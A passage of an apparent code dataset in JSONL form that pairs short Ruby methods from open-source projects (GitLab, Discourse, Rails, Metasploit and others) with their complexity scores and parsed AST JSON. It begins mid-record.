\"str\",\"children\":[\"/plugin.rb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plugin\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"plugins\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"path\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"plugin_path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"discourse/plugins/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logical_path\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"javascripts/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},null]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logical_path\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"app/\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"addon/\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"admin/addon\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]}]}","id":"0fa07b5d-4456-455d-b74f-84c7c01e1cc8"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/posts_controller.rb","start_line":44,"raw_source":"def allowed_sort_attributes\n            super << :published_at << :title\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_sort_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"<<\",{\"type\":\"sym\",\"children\":[\"published_at\"]}]},\"<<\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}","id":"3f9453d9-627c-4a22-9b8d-958e79e27115"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":738,"raw_source":"def request_type\n    self.class.request_type(get_value(@values[:request_type]))\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"request_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"request_type\",{\"type\":\"send\",\"children\":[null,\"get_value\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"request_type\"]}]}]}]}]}","id":"ecab29eb-7e44-4297-aecc-dcdb8b9fda4f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/users/credit_card_validation.rb","start_line":70,"raw_source":"def set_holder_name_hash\n      self.holder_name_hash = Gitlab::CryptoHelper.sha256(holder_name.downcase)\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_holder_name_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"holder_name_hash=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CryptoHelper\"]},\"sha256\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"holder_name\"]},\"downcase\"]}]}]}]}","id":"c9e86ca6-5694-4fac-b086-09efcf6ed546"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app_store_version.rb","start_line":246,"raw_source":"def fetch_reset_ratings_request(client: nil)\n        client ||= Spaceship::ConnectAPI\n        resp = client.get_reset_ratings_request(app_store_version_id: id)\n        return resp.to_models.first\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_reset_ratings_request\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_reset_ratings_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_store_version_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"to_models\"]},\"first\"]}]}]}]}","id":"1acaa94d-ea76-4bf5-ae87-9b44d2cb5ff2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/username_setting_validator.rb","start_line":15,"raw_source":"def error_message\n    if @regex_fail\n      I18n.t(@regex_error)\n    else\n      I18n.t(\"site_settings.errors.invalid_username\")\n    end\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@regex_fail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"ivar\",\"children\":[\"@regex_error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"site_settings.errors.invalid_username\"]}]}]}]}","id":"3a0cd8b0-84e1-4113-a09d-767d0de84296"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/mirrors_controller.rb","start_line":112,"raw_source":"def push_mirror_to_destroy\n    push_mirror_to_destroy_id = safe_mirror_params.dig(:remote_mirrors_attributes, 'id')\n\n    project.remote_mirrors.find(push_mirror_to_destroy_id)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"push_mirror_to_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"push_mirror_to_destroy_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_mirror_params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"remote_mirrors_attributes\"]},{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"remote_mirrors\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"push_mirror_to_destroy_id\"]}]}]}]}","id":"5e147d37-79c3-4166-ae54-7ad75521a683"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20251020130741_enable_project_studio_for_early_access_participants.rb","start_line":21,"raw_source":"def up\n    return unless ::Gitlab.com?\n\n    # Iterate over namespaces with experiment features enabled\n    NamespaceSetting.where(experiment_features_enabled: true).each_batch(of: NAMESPACE_BATCH_SIZE) do |batch|\n      namespace_ids = batch.pluck(:namespace_id)\n\n      # Find early access participants who are members of these namespaces\n      user_ids_to_update = execute(<<~SQL).pluck('user_id')\n        SELECT DISTINCT m.user_id\n        FROM members m\n        WHERE m.source_type = 'Namespace'\n        AND m.source_id IN (#{namespace_ids.join(',')})\n      SQL\n\n      next if user_ids_to_update.empty?\n\n      user_ids_to_update.each_slice(USER_BATCH_SIZE) do |slice|\n        UserPreference\n          .where(user_id: slice).update_all(project_studio_enabled: true, early_access_studio_participant: true)\n\n        sleep 0.1\n      end\n    end\n  end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"com?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NamespaceSetting\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"experiment_features_enabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"NAMESPACE_BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespace_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_ids_to_update\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT DISTINCT m.user_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM members m\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE m.source_type = 'Namespace'\\n\"]},{\"type\":\"str\",\"children\":[\"AND m.source_id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace_ids\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]},\"pluck\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids_to_update\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids_to_update\"]},\"each_slice\",{\"type\":\"const\",\"children\":[null,\"USER_BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slice\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserPreference\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"slice\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_studio_enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"early_access_studio_participant\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]}]}]}]}]}]}]}","id":"32207082-2b62-4163-8732-50c44f5f8ab9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/developer.rb","start_line":172,"raw_source":"def cmd_pry_help\n    print_line 'Usage: pry'\n    print_line\n    print_line 'Open the Pry debugger on the current module or Framework.'\n    print_line\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_pry_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: pry\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Open the Pry debugger on the current module or Framework.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"2776ef0b-85d4-44d7-a821-20de9e68e42b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repository_size_checker.rb","start_line":17,"raw_source":"def current_size\n      @current_size ||= @current_size_proc.call\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"current_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_size_proc\"]},\"call\"]}]}]}","id":"c9235fab-a707-414b-b038-8c24d4953527"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/projects/security/configuration_presenter.rb","start_line":35,"raw_source":"def to_html_data_attribute\n        data = to_h\n        data[:features] = data[:features].to_json\n\n        data\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_html_data_attribute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"features\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"features\"]}]},\"to_json\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"209869fe-de41-497d-9248-186e32a6c858"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":1147,"raw_source":"def setup\n      @migration = nil\n      @verbose_was = ActiveRecord::Migration.verbose\n      ActiveRecord::Migration.verbose = false\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@migration\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@verbose_was\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"verbose\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"verbose=\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"26852acb-f42a-4e9a-a35e-c059be125f06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/support_pin/revoke_service.rb","start_line":20,"raw_source":"def revoke_pin\n        Gitlab::Redis::Cache.with do |redis|\n          key = pin_key\n          redis.expire(key, 0) # Set to expire immediately\n        end\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke_pin\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Cache\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"pin_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"expire\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"fb2777ce-2dc6-4a21-af5c-1c6e04022c55"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/erubis_template_processor.rb","start_line":85,"raw_source":"def append_method?(method)\n    method == :append= || safe_append_method?(method)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"append_method?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"append=\"]}]},{\"type\":\"send\",\"children\":[null,\"safe_append_method?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}","id":"6cf62f4d-14ea-46e8-91e5-070fbcc2e85e"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/subforem_moderators/add.rb","start_line":14,"raw_source":"def call\n      user = User.find(user_id)\n      notification_setting = user.notification_setting\n      if notification_setting.update(email_community_mod_newsletter: true)\n        subforem = Subforem.find(subforem_id)\n        add_subforem_mod_role(user, subforem)\n        ::SubforemModerators::AddTrustedRole.call(user)\n\n        NotifyMailer\n          .with(user: user, subforem: subforem)\n          .subforem_moderator_confirmation_email\n          .deliver_now\n\n        Result.new(success?: true)\n      else\n        Result.new(success?: false, errors: notification_setting.errors_as_sentence)\n      end\n    end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"notification_setting\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"notification_setting\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_setting\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email_community_mod_newsletter\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subforem\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subforem\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"subforem_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_subforem_mod_role\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"subforem\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SubforemModerators\"]},\"AddTrustedRole\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotifyMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subforem\"]},{\"type\":\"lvar\",\"children\":[\"subforem\"]}]}]}]},\"subforem_moderator_confirmation_email\"]},\"deliver_now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success?\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success?\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_setting\"]},\"errors_as_sentence\"]}]}]}]}]}]}]}","id":"07c31587-0340-46fd-acbe-2ef4e27da211"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/meeting_agenda_item.rb","start_line":134,"raw_source":"def in_backlog?\n    meeting_section.backlog?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"in_backlog?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting_section\"]},\"backlog?\"]}]}","id":"4cec0685-4954-405d-a3a3-6200cb019c9c"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20171110174413_rename_blocked_silence.rb","start_line":8,"raw_source":"def up\n    add_column :users, :silenced, :boolean, default: false, null: false\n    execute \"UPDATE users set silenced = blocked\"\n\n    setting :notify_mods_when_user_blocked, :notify_mods_when_user_silenced\n    setting :auto_block_fast_typers_on_first_post, :auto_silence_fast_typers_on_first_post\n    setting :auto_block_fast_typers_max_trust_level, :auto_silence_fast_typers_max_trust_level\n    setting :auto_block_first_post_regex, :auto_silence_first_post_regex\n    setting :num_spam_flags_to_block_new_user, :num_spam_flags_to_silence_new_user\n    setting :num_users_to_block_new_user, :num_users_to_silence_new_user\n    setting :num_tl3_flags_to_block_new_user, :num_tl3_flags_to_silence_new_user\n    setting :num_tl3_users_to_block_new_user, :num_tl3_users_to_silence_new_user\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"silenced\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE users set silenced = blocked\"]}]},{\"type\":\"send\",\"children\":[null,\"setting\",{\"type\":\"sym\",\"children\":[\"notify_mods_when_user_blocked\"]},{\"type\":\"sym\",\"children\":[\"notify_mods_when_user_silenced\"]}]},{\"type\":\"send\",\"children\":[null,\"setting\",{\"type\":\"sym\",\"children\":[\"auto_block_fast_typers_on_first_post\"]},{\"type\":\"sym\",\"children\":[\"auto_silence_fast_typers_on_first_post\"]}]},{\"type\":\"send\",\"children\":[null,\"setting\",{\"type\":\"sym\",\"children\":[\"auto_block_fast_typers_max_trust_level\"]},{\"type\":\"sym\",\"children\":[\"auto_silence_fast_typers_max_trust_level\"]}]},{\"type\":\"send\",\"children\":[null,\"setting\",{\"type\":\"sym\",\"children\":[\"auto_block_first_post_regex\"]},{\"type\":\"sym\",\"children\":[\"auto_silence_first_post_regex\"]}]},{\"type\":\"send\",\"children\":[null,\"setting\",{\"type\":\"sym\",\"children\":[\"num_spam_flags_to_block_new_user\"]},{\"type\":\"sym\",\"children\":[\"num_spam_flags_to_silence_new_user\"]}]},{\"type\":\"send\",\"children\":[null,\"setting\",{\"type\":\"sym\",\"children\":[\"num_users_to_block_new_user\"]},{\"type\":\"sym\",\"children\":[\"num_users_to_silence_new_user\"]}]},{\"type\":\"send\",\"children\":[null,\"setting\",{\"type\":\"sym\",\"children\":[\"num_tl3_flags_to_block_new_user\"]},{\"type\":\"sym\",\"children\":[\"num_tl3_flags_to_silence_new_user\"]}]},{\"type\":\"send\",\"children\":[null,\"setting\",{\"type\":\"sym\",\"children\":[\"num_tl3_users_to_block_new_user\"]},{\"type\":\"sym\",\"children\":[\"num_tl3_users_to_silence_new_user\"]}]}]}]}","id":"668dfbe6-5055-439b-b5e4-1fce78e9c88c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/wlan_geolocate.rb","start_line":69,"raw_source":"def parse_wireless_linux(listing)\n    wlan_list = []\n    raw_networks = listing.split('Cell ')\n\n    raw_networks.each do |network|\n      details = network.match(/^\\d{1,4} - Address: (\\h{2}:\\h{2}:\\h{2}:\\h{2}:\\h{2}:\\h{2}).*?Signal level=([\\d-]{1,3}).*?ESSID:\"([^\"]*)/m)\n      if !details.nil?\n        wlan_list << [ details[1], details[3], details[2] ]\n      end\n    end\n\n    return wlan_list\n  end","complexity_score":18.28,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_wireless_linux\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"listing\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wlan_list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_networks\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"listing\"]},\"split\",{\"type\":\"str\",\"children\":[\"Cell \"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_networks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"network\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"details\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"network\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\d{1,4} - Address: (\\\\h{2}:\\\\h{2}:\\\\h{2}:\\\\h{2}:\\\\h{2}:\\\\h{2}).*?Signal level=([\\\\d-]{1,3}).*?ESSID:\\\"([^\\\"]*)\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wlan_list\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wlan_list\"]}]}]}]}","id":"78b7a35d-2f46-4cf2-b6b6-373e84a38957"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/commands_generator.rb","start_line":17,"raw_source":"def self.start\n      self.new.run\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\"]},\"run\"]}]}","id":"9a0b5143-f985-4dac-ad50-a0a06ea92bf2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/documents/lib/open_project/documents/patches/project_patch.rb","start_line":33,"raw_source":"def self.included(base)\n      base.class_eval do\n        has_many :documents, dependent: :destroy\n      end\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_many\",{\"type\":\"sym\",\"children\":[\"documents\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dependent\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}]}]}","id":"28f8fd13-2cdf-418b-812b-a167f4c87c7a"}
